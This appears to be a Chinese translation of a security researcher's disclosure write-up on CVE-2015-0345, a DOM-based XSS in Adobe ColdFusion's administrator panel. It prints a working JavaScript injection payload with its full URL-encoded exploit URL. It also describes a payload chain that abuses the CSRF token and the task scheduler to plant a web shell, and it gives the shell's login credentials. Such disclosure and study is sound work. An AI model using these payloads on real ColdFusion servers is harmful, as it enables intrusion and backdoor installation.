发现这个漏洞之后,我向Adobe安全团队披露了整个过程。CVE对这一漏洞分配了一个CVE编号: CVE-2015-0345
请通过ColdFusion管理面板安装补丁来修复这个漏洞,并确保该管理面板没有向外泄漏。
注意:该漏洞只针对已经通过管理面板身份验证的用户。因此,通过下面记录的exploit获取远程代码执行,最后执行最后的XSS向量。
ColdFusion的管理面板是其配置服务的核心接口,它包含的功能包括但不限于用户管理,数据库配置,服务器管理。当ColdFusion管理页面动态预览显示文件或目录时,JavaScript库jqFileTree.js用来协调服务器端APIs。
/CFIDE/administrator/filedialog/index.cfm?type=dir&fromjscript=true&dialogStyle=selectDirectory&formelem=ORMSearchIndexDirectory&defaultPath=
fileTree——ColdFusion API提供位于系统的文件和文件夹路径。
你可以直接访问AJAX API返回文件和文件夹路径的列表格式,执行访问以下URL:
/CFIDE/administrator/ajaxtree/jqueryFileTree.cfm?type=dir
将这些因素结合起来,通过JavaScript请求的路径就可以出现想上图中的情况了。
ColdFusion是通过JavaScript来实现这个功能的,通过提供的AJAX API调用fileTree函数容纳所有的文件和文件夹。AJAX API的内容通过fileTree进行解析;文件和文件夹返回到调用的API然后增加到pathbox用户接口,如第一张图所示。ColdFusion执行的这个JavaScript如下:
$('#fileTreeDemo_1').fileTree({ script: '../../administrator/ajaxtree/jqueryFileTree.cfm?type=dir', expanded: '/x2F' }, function(file) { path = file; document.getElementById("pathbox").value = path; });
这个脚本的价值在于提供给文件树的并不是硬编码,而是放置于JavaScript环境中的页面加载内容。这是基于用户输入的URL动态生成的。
通过ColdFusion服务端脚本自身插入到页面HTML源的字符串,而不是通过客户端来插入:
插入到前面JavaScript源码中的值。
'../../administrator/ajaxtree/jqueryFileTree.cfm?type=dir'
“?type=dir”部分字符串是从用户输入(URL)获取,所以可以认为就是用户输入。
通过一些测试,我发现“type”参数在JavaScript环境中编码是不正确的。
当ColdFusion的跨站脚本过滤以及特殊字符编码开启之后,传统的XSS向量变得苍白无力。此外,采用黑名单过滤掉HTML中的标签以及尖括号(>和<)。这个黑名单将说有的字符都定义为无效,完全的隔离了HTML源代码。
因此,最好的选择便是创建一个合适的JavaScript payload。
经过篡改之后,我构造了如下payload触发document.location提示:
',expanded:'/x2F'},function(file){path = file;document.getElementById("pathbox").value = path;});prompt(document.location);$('#fileTreeDemo_1').fileTree({script:'../../administrator/ajaxtree/jqueryFileTree.cfm?type=dir
上面的payload脱离了现有的函数,然后执行恶意JavaScript。在本例中,我们已经注入JavaScript,并且会执行prompt(document.location)。
payload剩下的部分为fileTree函数的正确配置,这是为了确保ColdFusion文件/文件夹 浏览器依旧在页面正常运行,从而减轻目标的怀疑。
上面payload利用的URL编码以及在原URL替换type参数的值:
http://127.0.0.1:8500/CFIDE/administrator/filedialog/index.cfm?type=dir%27%2c%65%78%70%61%6e%64%65%64%3a%27%5c%78%32%46%27%7d%2c%66%75%6e%63%74%69%6f%6e%28%66%69%6c%65%29%7b%70%61%74%68%20%3d%20%66%69%6c%65%3b%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%74%68%62%6f%78%22%29%2e%76%61%6c%75%65%20%3d%20%70%61%74%68%3b%7d%29%3b%70%72%6f%6d%70%74%28%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%29%3b%24%28%27%23%66%69%6c%65%54%72%65%65%44%65%6d%6f%5f%31%27%29%2e%66%69%6c%65%54%72%65%65%28%7b%73%63%72%69%70%74%3a%27%2e%2e%2f%2e%2e%2f%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%2f%61%6a%61%78%74%72%65%65%2f%6a%71%75%65%72%79%46%69%6c%65%54%72%65%65%2e%63%66%6d%3f%74%79%70%65%3d%64%69%72&fromjscript=true&dialogStyle=selectDirectory&formelem=ORMSearchIndexDirectory&defaultPath=
当目标访问上面的URL之后,任意JavaScript,在本例中我已经插入,prompt(document.location);将会在浏览器中执行,下面这张图足以证明:
我给受影响系统创建了两个payload。第一个payload禁用ColdFusion管理面板密码的请求,第二个则是上传一个WEB后门Shell。
为了让这篇文章让人一看就有种干净的感觉,我将注重讲解最实用的那个。
但这两个payload都可以在我的 Github 中找到
Payload #2,正如上面提到Github中可以找到,执行下面操作上传Shell(一旦管理员进行执行):
1.GET请求了一个CFIDE管理页面来获取CSRF Token 2.POST请求了/CFIDE/administrator/scheduler/scheduleedit.cfm与提交相关的参数 3.POST请求添加一个任务. 一个 CFML shell 已经上传到/CFIDE/update_cf.log 4.POST请求改变404和500样板来执行/CFIDE/update_cf.log
payload一旦成功执行,你可以在/404.cfm, /500.cfm或者构造404或500错误来访问你的ColdFusion shell。
payload输出诸如CSRF token,ColdFusion的完整安装路径以及用于调试的shell执行位置信息。下面这张截图显示管理员执行PoC之后的JavaScript控制台信息:
访问 URLs /404.cfm or /500.cfm将会返回引导进入后门Shell的登录页面,这个Shell配置的登录名为god密码为default。登录进去之后很有可能执行诸如任意命令执行,运行SQL查询,编辑文件,从服务器上传或下载文件等,后门的截图的界面如下图所示:
一旦攻击者成功进入Shell,内部网络就可能遭受破环,其也可以通过提升权限获取更多的信息。
2015.4.26,Adobe已经成功修补该DOM型XSS漏洞,感谢Adobe安全团队的快速响应。
当设置应用程序时,坚持公司的指南十分重要,ColdFusion的这个漏洞就是一个很好的范例。遵循 Adobe’s best practices (Adobe最佳范例)并确保ColdFusion管理面板不对外开放,如果不这么做,那么你得做好打下一个补丁的准备。
*参考来源: bishopfox ,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)